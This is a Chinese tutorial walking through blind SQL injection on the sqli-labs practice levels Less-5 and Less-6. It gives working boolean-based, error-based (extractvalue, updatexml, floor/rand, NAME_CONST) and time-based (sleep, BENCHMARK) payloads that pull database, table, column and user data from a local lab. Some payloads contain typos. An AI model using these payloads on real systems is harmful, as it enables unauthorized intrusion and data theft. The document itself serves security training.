Background-2 盲注关卡 sqli-Labs Less5-Less-6

文章目录

  • 一、Less-5-less-6
    • 一、利用left(database(),1)进行尝试
      • 1.查看版本号
      • 2.查看数据库的长度
      • 3.猜测数据库的第一位
    • 二、利用substr(),ascii()函数进行尝试
    • 三、利用regexp()获取(2)中users表中的列
    • 四、利用ord(),mid函数获取users中的内容
    • 五、使用报错注入
    • 六、延时注入
  • 总结

一、Less-5-less-6

一、利用left(database(),1)进行尝试

1.查看版本号

http://sqli-labs-master:8089/Less-5/?id=1’and left(version(),1)=5--+

说明:判断第一位的版本号是不是5,根据以下图像显示是5
Background-2 盲注关卡 sqli-Labs Less5-Less-6_第1张图片

2.查看数据库的长度

http://sqli-labs-master:8089/Less-5/?id=1'and
 length(database())=8--+

Background-2 盲注关卡 sqli-Labs Less5-Less-6_第2张图片

3.猜测数据库的第一位

http://sqli-labs-master:8089/Less-5/?id=1'and
 left(database(),1)>'a'--+

Background-2 盲注关卡 sqli-Labs Less5-Less-6_第3张图片
注:database()的数据库是security,所以第一位>’a‘的,在不知道的情况下可以采用二分法提高注入的效率。

二、利用substr(),ascii()函数进行尝试

ascii(substr((select table_name from information_schema.tables 

where table_schema=database() limit 0,1),1,1))=101--+

根据以上我们知道是security数据库,接下来获取数据库表

http://sqli-labs-master:8089/Less-5/?id =1 'and ascii(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>80--+

只需把database()修改为security即可,逐渐破解表名。

http://sqli-labs-master:8089/Less-5/?id=1%27%20and%20ascii
(substr((select%20table_name%20from%20information_schema.
tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))=101--+

测试第一个表名是email,e对应的ascii是101.
Background-2 盲注关卡 sqli-Labs Less5-Less-6_第4张图片
破解第二个字符只需使用substr(**,2,1)即可,接下来等等。

如何获取第二表呢?
已知第二个表是referers时,此时只需把limit 0,1,改成limit 1,1即可。
解释:
limit 0,1表示从首位开始获取第一个。
limit 1,1表示从首位的下一个获取第一个。
可理解为次序从0开始计数。

http://sqli-labs-master:8089/Less-5/?id=1%27%20and%20ascii(substr
((select%20table_name%20from%20information_schema.tables%20where%20
table_schema=%27security%27%20limit%20%201,1),1,1))=114--+

Background-2 盲注关卡 sqli-Labs Less5-Less-6_第5张图片

三、利用regexp()获取(2)中users表中的列

http://sqli-labs-master:8089/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_nmae='users' and column_name regexp ^'username' limit 0,1)--+

查询users表中是否有username的列

http://sqli-labs-master:8089/Less-5/?id=1%27%20
and%201=(select%201%20from%20information_schema.columns%20where%20
table_name=%27users%27%20and%20
column_name%20regexp%20%27^username%27%20limit%200,1)--+

在这里插入图片描述

四、利用ord(),mid函数获取users中的内容

cast()介绍:CAST函数用于将某种数据类型的表达式显式转换为另一种数据类型
 IFNULL函数是MySQL控制流函数之一,它接受两个参数,如果不是NULL,则返回
 第一个参数。 否则,IFNULL函数返回第二个参数。
http://sqli-labs-master:8089/Less-5/?id=1'and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68--+

获取users表中的内容,获取username中的第一行的第一个的ascii码值,与68 比较为D,已知表中第一个Dumb
Background-2 盲注关卡 sqli-Labs Less5-Less-6_第6张图片

五、使用报错注入

http://localhost/Less-5/?id=1' union select 1,count(*),concat(0x30,(select user()),0x30,floor(rand(0)*2))a  from information_schema.columns group by a--+

Background-2 盲注关卡 sqli-Labs Less5-Less-6_第7张图片
利用 double 数值类型超出范围进行报错注入

http://localhost/Less-5/?id=1' union select (exp(~(select * from (select user())a))),2,3--+

利用 bigint 溢出进行报错注入

id=1 ' union select (!(select * from (select user())x)-~0),2,3--+

xpath 函数报错注入

id=1 'and extractvalue(1,concat(0x7e,(select @@version()),0x7e))--+

Background-2 盲注关卡 sqli-Labs Less5-Less-6_第8张图片

http://localhost/Less-5/?id=1%20%27and%20updatexml(1,concat(0x7e,(select%20@@version),0x7e),1)--+

Background-2 盲注关卡 sqli-Labs Less5-Less-6_第9张图片
利用数据的重复性

Background-2 盲注关卡 sqli-Labs Less5-Less-6_第10张图片

Background-2 盲注关卡 sqli-Labs Less5-Less-6_第11张图片

http://sqli-labs-master:8089/Less-5/?id =1'union select 1,2,3 from ( select NAME_CONST(version(),1),NAME_CONST(version(),1))x--+

Background-2 盲注关卡 sqli-Labs Less5-Less-6_第12张图片

六、延时注入

sleep函数的延时注入

http://sqli-labs-master:8089/Less-5/?id=1' and if(ascii(substr(database(),1,1)),1,sleep(5))--+

Background-2 盲注关卡 sqli-Labs Less5-Less-6_第13张图片

当有错误时会有5秒的延时注入

利用 BENCHMARK()进行延时注入

?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BEN
CHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as cur
rent) as tb1--+

在这里插入图片描述

当结果正确的时候,运行 ENCODE(‘MSG’,‘by 5 seconds’)操作 50000000 次,会占用一段时间

Less-6

将单引号换成即可。

总结

所谓常识,往往不过是时代的偏见。要超越这个时代的偏见,唯一的办法,就是阅读,阅读人类历史上最伟大的经典著作。没读过几百本经典,不足以谈独立思考。

你可能感兴趣的:(SQL注入专题,less,数据库,oracle)